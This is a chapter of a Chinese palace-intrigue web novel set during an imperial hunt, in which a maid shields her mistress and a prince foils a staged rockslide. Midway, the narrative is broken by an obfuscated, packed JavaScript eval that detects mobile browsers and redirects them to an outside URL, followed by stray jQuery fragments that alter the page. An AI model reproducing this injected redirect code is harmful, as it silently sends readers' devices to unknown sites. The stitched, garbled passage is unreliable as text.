默认冷灰
24号文字
方正启体

22.第 22 章

作者:桑微本书字数:K更新时间:
    西山猎场扎营在第三日清晨。


    千顶帐篷沿缓坡铺开,如雨后冒出的灰白色蘑菇。


    主帐在最高处,明黄帐顶在晨光里耀目,往下是妃嫔营区,再往下才是随行官员、侍卫的帐子。


    景仁宫的帐篷在东南角,背靠一片杉木林,门前有条小溪流过。


    位置算僻静。


    但苏瑾禾掀帘看了一眼就蹙眉。


    林子太密,视线受阻。


    “菖蒲,穗禾,把咱们带来的驱虫药囊,帐篷四角各挂一个,门帘处再悬两个。”


    苏瑾禾吩咐着,自己则扶着林晚音在帐中矮榻坐下。


    “美人今日便跟着皇后娘娘的仪仗。皇后在哪儿,您就在哪儿三步之内。”


    林晚音小鸡啄米似的点点头。


    辰时正,号角长鸣,皇帝御驾亲至围场。


    谢翊一身玄色绣金骑装,腰佩长剑,端坐马上,自有一股帝王威仪。


    淑妃、德妃分骑左右,皆着利落骑装。


    淑妃颜色沉静,德妃纹样规整。


    后面跟着妍美人、怡贵人、英贵人,以及被苏瑾禾牢牢扶着的林美人。


    林晚音那身灰扑扑的骑装在姹紫嫣红中,像误入锦缎堆的粗麻布。


    皇帝目光扫过,在林美人身上顿了顿,没说什么。


    围场草甸开阔,远处山峦起伏。


    太监牵来御马,皇帝翻身上马,扬鞭一指。


    “今日围猎,以午时为限,猎多者赏!”


    勋贵子弟、侍卫们轰然应诺,马蹄声如雷动。


    女眷这边则安静许多。


    皇后端坐华盖下,几位高位妃嫔陪坐两侧。


    低位妃嫔们或站或坐,三三两两低声说话。


    苏瑾禾立在林晚音身后半步,目光如雷达般扫视全场。


    谢不悬一身墨蓝劲装,自不远处策马而来,到皇后驾前下马行礼。


    “臣弟见过皇嫂。”


    皇后微笑颔首:“郡王辛苦。”


    谢不悬起身,目光似无意掠过林美人。


    “听闻林美人擅诗书,怎么不往东侧高台一观骑射?那儿视野极佳,也好为皇兄写几句旷世诗作。”


    林晚音一怔,下意识看向苏瑾禾。


    苏瑾禾垂眸,上前半步,声音不高却清晰。


    “启禀郡王,美人前日不慎扭了脚踝,太医嘱咐少行山路。且……”


    她顿了顿,目光望向高台方向。


    “方才奴婢瞧见那边草丛颇深,春日蛇虫复苏,恐惊了贵人。”


    谢不悬视线落在苏瑾禾脸上,片刻,淡淡一笑。


    “倒是本王思虑不周了。”


    转身策马而去。


    林晚音悄悄松口气。


    谁知午时前后。


    谢不悬又来了。


    这次,他是引着皇帝的口谕。


    “皇兄说前方清溪畔有株百年杜鹃开了,甚是罕见,请几位娘娘、贵人前往观赏。”


    皇后起身,妃嫔们自然跟随。


    一行人往溪边去。


    溪畔乱石嶙峋,杜鹃花生在对面崖壁上,确实绚烂。


    皇帝与淑妃、德妃站在最前,其余人稍后。


    谢不悬不知何时走到林晚音身侧,指着溪中游鱼。


    “美人可见那赤鳞鱼?此鱼只西山寒溪中有,肉质极鲜。”


    林晚音正要答话,苏瑾禾已上前一步,虚扶住她胳膊,声音略显焦急。


    “美人可是腿又酸了?您今早走得急,药还没喝呢。”


    说着从袖中掏出个小瓷瓶。


    “太医说了,这药得按时辰服用。”


    林晚音会意,立刻蹙眉扶额:“是有些晕……”


    谢不悬看着那瓷瓶,又看看苏瑾禾,眸色深了深。


    午后围猎暂歇时。


    谢不悬又又来了。


    他亲自牵了匹通体雪白、性情温顺的小母马过来,对林晚音道。


    “此马名‘踏雪’,最是驯良。美人既来了猎场,不试试骑射,岂不可惜?臣弟可代为牵缰。”


    这一次,连周围几个低位妃嫔都投来羡慕目光。


    郡王亲自牵马,何等殊荣。


    林晚音茫然地看向苏瑾禾。


    她不会骑马,更怕这是陷阱。


    苏瑾禾却忽然跪下,朝着皇帝方向。


    “皇上恕罪!奴婢方才瞧见这马左后蹄铁似有松动,恐伤及美人玉体。可否容奴婢请马监查验?”


    皇帝转头看来。


    谢不悬脸色微沉,低头查看马蹄。


    蹄铁完好,但苏瑾禾这话已说出口。


    他若坚持,倒显得居心叵测。


    “罢了。”皇帝摆手,“既如此,换匹稳妥的。”


    谢不悬松了缰绳,目光与苏瑾禾相撞。


    那一瞬,苏瑾禾清楚看见他眼底的打量。


    她也毫不回避,像护崽的母鸡似的。


    她不知道谢不悬在试探什么。


    苏瑾禾心中警铃狂响。


    难不成林美人的小叔子看上了她?


    也是,林美人天真纯善,漂亮稚嫩,是最能吸引男人的那种类型。


    苏瑾禾的目光更防备了。


    谢不悬收回视线,转身时,弹幕飘过:


    【苏姑姑防御力点满了啊】


    【谢不悬:这姑姑怎么比刺猬还难搞】


    【笑死,根本找不到突破口】


    他攥了攥马鞭,心头疑云更重。


    这姑姑……每次拦截都精准迅速。


    她防的不仅是猎场的意外,更是在防他。


    她知道什么?


    **


    围场另一侧,倒是一直热闹。


    恪嫔小比格穿了一身大红骑装,金线绣满团花,阳光下晃得人眼晕。


    她非要自己骑马,结果马才小跑几步,她就大呼小叫,险些被颠下来,还是侍卫拼命拉住缰绳才没出事。


    下来后还不服气,指着马骂“畜牲不懂事”,惹得几个侍卫惶恐不已。


    布偶猫妃柔婕妤则一直躲在华盖阴影里,拿着帕子不停扇风,细声抱怨。


    “日头太毒了,晒得皮肤疼……这草地也有蚊虫,咬得人痒……”


    宫女围着她打扇递水,她还是蹙着眉,眼圈微红,仿佛受了天大委屈。


    倒是英贵人不见踪影。


    后来有小太监回禀,说看见英贵人独自往西边山林去了,背了弓,像是去打猎。


    皇后听了只摇摇头,没多管。


    怡贵人则乐呵呵地到处窜,一会儿夸淑妃娘娘马术好,一会儿赞德妃娘娘弓箭漂亮,还捡了根野鸡羽毛插自己头上,笑得见牙不见眼。


    **


    申时初,围猎进入高潮。


    前方山林传来喧哗,说是围住了一头雄鹿。


    皇帝兴致高昂,率众往前逼近。


    妃嫔们也跟着移步。


    就在这时,弹幕突然在谢不悬眼前炸开:


    【注意!西南侧矮坡!有石头松动!】


    【要塌了要塌了!】


    【目标是……咦?不是林美人?是那个谁?】


    字句闪烁极快,谢不悬瞳孔骤缩,猛地扭头看向西南侧矮坡。


    那里站着几个低位妃嫔和宫女,正踮脚张望围猎。


    其中一个穿着柳绿色宫装的贵人站得最靠外,脚下碎石已隐隐滑动。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955216|192335||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而人群里,一个穿着灰衣的太监正低头快步靠近,手隐在袖中。


    电光石火间,谢不悬厉喝:“散开!”


    同时策马疾冲过去。


    几乎在他出声的刹那,那太监猛地撞向绿衣贵人后背!


    贵人惊叫一声,向前扑倒,脚下碎石轰然塌落。


    谢不悬马已到,俯身探臂,千钧一发之际抓住贵人的手臂,用力一提!


    “啊——!”贵人半个身子已悬空,被他硬生生拽回,摔在草丛里。


    碎石哗啦啦滚落坡底,烟尘弥漫。


    一切发生在两三息内。


    周围人呆若木鸡,直到皇帝策马赶到,沉声问:“怎么回事?”


    谢不悬下马,看了眼那瘫软在地、面无人色的贵人。


    又看向人群,那灰衣太监已不见踪影。


    “有碎石松动,张才人险些跌落。”谢不悬言简意赅,没提那太监。


    无凭无据,说了反易打草惊蛇。


    皇帝深深看他一眼,又望向惊魂未定的张才人,挥手:“送回去,传太医。”


    他再看向谢不悬时,目光里多了些深意:“不悬,你又预感到了?”


    谢不悬垂首:“臣弟只是见那处地势险,多看了一眼。”


    皇帝未再多言,只拍了拍他肩膀:“做得好。”


    **


    变故后,围猎草草收场。


    回营路上,苏瑾禾扶着林晚音,手心全是冷汗。


    方才那塌方处,离她们原本站的位置只隔了五六人。


    若没有谢不悬那一声喝,若塌方范围再大些……


    林晚音小声说:“瑾禾,张才人她……是意外吗?”


    苏瑾禾摇头,声音压得极低:“不是意外。”


    她看清了那太监撞人的动作,也看清了谢不悬疾冲救人的果断。


    这位郡王,似乎真能“预知”危险。


    可他为何要救张才人?


    还有,今日本该是林美人受伤,结果因为自己的严防死守,对方改了目标?


    思绪纷乱间,她抬眼,正撞上不远处谢不悬投来的目光。


    他骑在马上,墨蓝身影融在暮色里,眼神深晦难明,静静看了她片刻,才策马离去。


    **


    夜,主帐内。


    皇帝听完暗卫回报,沉吟良久。


    “今日那塌方,确有人为痕迹。”暗卫低声道。


    “碎石有撬动迹象,且事发前,有一灰衣太监靠近,事后不知所踪。”


    “目标是谁?”皇帝问。


    “按位置推断,似是……林美人。但郡王爷提前预警,人群移动,最终遇险的是张才人。”


    皇帝指尖轻叩案几。


    又是林美人。


    还有不悬那神奇的“直觉”。


    一次是巧合,两次三次,便不是了。


    “加派人手,盯紧淑妃、德妃宫中人。尤其是近日与西山有来往的。”


    皇帝声音冷下来。


    “至于林美人那边……让郡王多费心。”


    “是。”


    帐外,春夜寂静,山风穿过营帐缝隙,发出呜咽般的轻响。


    苏瑾禾在景仁宫帐篷里,将今日带来的药囊又清点一遍,每个角落都挂了驱虫草药。


    林晚音已睡下,只是梦中仍蹙着眉。


    菖蒲小声问:“姑姑,明日……还跟着皇后娘娘吗?”


    “跟。”苏瑾禾斩钉截铁,“不止明日,后日,直到回宫,一步都不离。”


    她望向帐外漆黑的山影,心头沉甸甸的。


    猎场第一日,险象环生。


    希望之后这几日,能安生些。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)